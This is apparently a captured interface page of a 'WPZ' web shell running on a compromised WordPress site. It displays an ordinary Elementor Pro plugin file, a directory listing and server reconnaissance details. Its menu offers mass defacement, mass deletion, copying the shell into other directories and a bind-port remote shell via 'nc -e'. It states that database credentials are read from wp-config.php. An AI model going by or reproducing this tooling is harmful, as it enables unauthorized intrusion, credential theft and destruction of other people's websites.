WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor-pro / modules / notes / [dxwrx-r--r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor-pro/modules/notes/admin-page.php (3.99 KB)
<?php

namespace ElementorPro\Modules\Notes;

use Elementor\Modules\EditorOne\Classes\Menu_Data_Provider;
use Elementor\Settings;
use ElementorPro\Base\Editor_One_Trait;
use ElementorPro\Modules\Notes\Database\Models\Note;
use ElementorPro\Modules\Notes\EditorOneMenuItems\Editor_One_Notes_Proxy_Menu_Item;
use ElementorPro\Modules\Notes\User\Capabilities;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * A simple admin page to behave as a proxy for Note opening (using a deep-link).
 * This class registers an admin page the redirects to a Note page, in order to make sure that the user is logged in
 * before accessing a Note (since Notes aren't available for unauthorized users).
 */
class Admin_Page {
	use Editor_One_Trait;

	const PAGE_ID = 'elementor-pro-notes-proxy';

	const PRIORITY_AFTER_ELEMENTOR = 206;

	public function register() {
		if ( $this->is_editor_one_active() ) {
			add_action( 'elementor/editor-one/menu/register', function ( Menu_Data_Provider $menu_data_provider ) {
				$menu_data_provider->register_menu( new Editor_One_Notes_Proxy_Menu_Item( $this ) );
			} );
			return;
		}

		add_action( 'admin_menu', function () {
			$this->register_admin_menu();
		}, static::PRIORITY_AFTER_ELEMENTOR );

		add_action( 'admin_head', function () {
			$this->hide_menu_item();
		} );
	}

	/**
	 * Register the admin page (will be removed later from the menu).
	 *
	 * @return void
	 */
	protected function register_admin_menu() {
		add_submenu_page(
			Settings::PAGE_ID,
			esc_html__( 'Notes Proxy', 'elementor-pro' ),
			esc_html__( 'Notes Proxy', 'elementor-pro' ),
			'read',
			static::PAGE_ID
		);

		add_action( 'current_screen', function ( \WP_Screen $current_screen ) {
			if ( static::PAGE_ID !== $current_screen->id ) {
				return;
			}

			$this->on_page_load();
		} );
	}

	/**
	 * Hide the menu item, since it shouldn't be visible to users in the UI.
	 *
	 * @return void
	 */
	protected function hide_menu_item() {
		remove_submenu_page( Settings::PAGE_ID, static::PAGE_ID );
	}

	/**
	 * Run the actual proxy page.
	 *
	 * @return void
	 */
	public function on_page_load() {
		// No need for nonce check since it's not a user action, and it's safe.
		if ( empty( $_GET['note-id'] ) || ! is_numeric( $_GET['note-id'] ) ) { // phpcs:ignore: WordPress.Security.NonceVerification.Recommended
			$this->safe_redirect( get_site_url() );
			return;
		}

		$note = Note::query()->find( (int) $_GET['note-id'] ); // phpcs:ignore: WordPress.Security.NonceVerification.Recommended

		if ( ! $note ) {
			$message = esc_html__( 'The note you are looking for was not found.', 'elementor-pro' );

			$go_to_dashboard = '<a href="' . esc_url( get_admin_url() ) . '">' . esc_html__( 'Go to WP Dashboard', 'elementor-pro' ) . '</a>';
			$view_site = '<a href="' . esc_url( get_site_url() ) . '">' . esc_html__( 'View Site', 'elementor-pro' ) . '</a>';

			$this->message_and_die( "
				{$message}
				<br /><br />
				{$go_to_dashboard}
				&nbsp;|&nbsp;
				{$view_site}
			" );

			return;
		}

		if ( ! current_user_can( Capabilities::READ_NOTES, $note ) ) {
			$this->message_and_die( esc_html__( 'You are not autorized to view this Note. Please contact your admin.', 'elementor-pro' ) );
			return;
		}

		$this->redirect_to_note( $note );
	}

	/**
	 * Redirect to a note - Used for testing.
	 *
	 * @param Note $note
	 *
	 * @return void
	 */
	protected function redirect_to_note( Note $note ) {
		$url = $note->get_url( false );

		// Note: The URL is safe.
		// `header()` is used since `wp_safe_redirect()` filters chars like `{}` which are required in this case.
		header( 'Location:' . $url, true, 302 );
		die;
	}

	/**
	 * Safe redirect to a page - Used for testing.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	protected function safe_redirect( $url ) {
		wp_safe_redirect( $url );
		die;
	}

	/**
	 * Show a message to the user and die - Used for testing.
	 *
	 * @param string $message
	 *
	 * @return void
	 */
	protected function message_and_die( $message ) {
		wp_die( $message ); // phpcs:ignore WordPress.Security.EscapeOutput
	}
}
namawaktuukuranownerpermaksi
..
assets/ 2026-07-21 14:283.84 KB 76129f60960:kundendxwrx-r--r
data/ 2026-07-21 14:2826.42 KB 76129f60960:kundendxwrx-r--r
database/ 2026-07-21 14:2839.65 KB 76129f60960:kundendxwrx-r--r
editor-one-menu-items/ 2026-07-21 14:281.25 KB 76129f60960:kundendxwrx-r--r
notifications/ 2026-07-21 14:287.89 KB 76129f60960:kundendxwrx-r--r
user/ 2026-07-21 14:2814.33 KB 76129f60960:kundendxwrx-r--r
admin-bar.php 2026-07-21 14:28672 B 76129f60960:kunden-xw-x-----
edt
admin-page.php 2026-07-21 14:283.99 KB 76129f60960:kunden-xw-x-----
edt
document-events.php 2026-07-21 14:282.69 KB 76129f60960:kunden-xw-x-----
edt
module.php 2026-07-21 14:286.34 KB 76129f60960:kunden-xw-x-----
edt
usage.php 2026-07-21 14:287.79 KB 76129f60960:kunden-xw-x-----
edt
utils.php 2026-07-21 14:282.36 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor-pro/modules/notes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK